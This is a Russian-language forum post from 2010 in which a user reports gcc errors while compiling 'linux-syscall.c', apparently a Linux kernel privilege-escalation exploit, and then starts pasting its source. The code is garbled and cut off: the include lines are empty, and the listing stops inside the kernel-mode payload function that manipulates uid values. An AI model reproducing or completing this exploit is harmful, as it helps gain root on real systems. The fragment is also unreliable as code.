Показать сообщение отдельно

  #29  
Старый 12.10.2010, 01:12
DCrypt
Новичок
Регистрация: 21.01.2010
Сообщений: 0
С нами: 8580980

Репутация: 0
По умолчанию

Цитата:
Сообщение от Welemir  
Эм,а разве не gcc file.c -o outputfile ? А в сплоенте и могут возникнуть ошибки изза пробелов/переводов строк или неюзабельности комментария #.Вгетом и линксом пробовал все гут.
Код:
sh-2.05b$ gcc linux-syscall.c -o lin
linux-syscall.c: In function `docall':
linux-syscall.c:41: warning: cast from pointer to integer of different size
linux-syscall.c:43: warning: cast to pointer from integer of different size
linux-syscall.c:49: warning: comparison between pointer and integer
linux-syscall.c: In function `main':
linux-syscall.c:66: warning: integer constant is too large for "long" type
linux-syscall.c:67: warning: integer constant is too large for "long" type
linux-syscall.c:68: warning: integer constant is too large for "long" type
linux-syscall.c:71: warning: cast to pointer from integer of different size
linux-syscall.c:104: error: `ORIG_RAX' undeclared (first use in this function)
linux-syscall.c:104: error: (Each undeclared identifier is reported only once
linux-syscall.c:104: error: for each function it appears in.)
sh-2.05b$

Вот код сплойта.

[CODE]
#include
#include
#include
#include
#include
#include
#include
#include
#include

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;

asm volatile ("movq %%gs0x0), %0" : "=r"(gs));

for (i = 200; i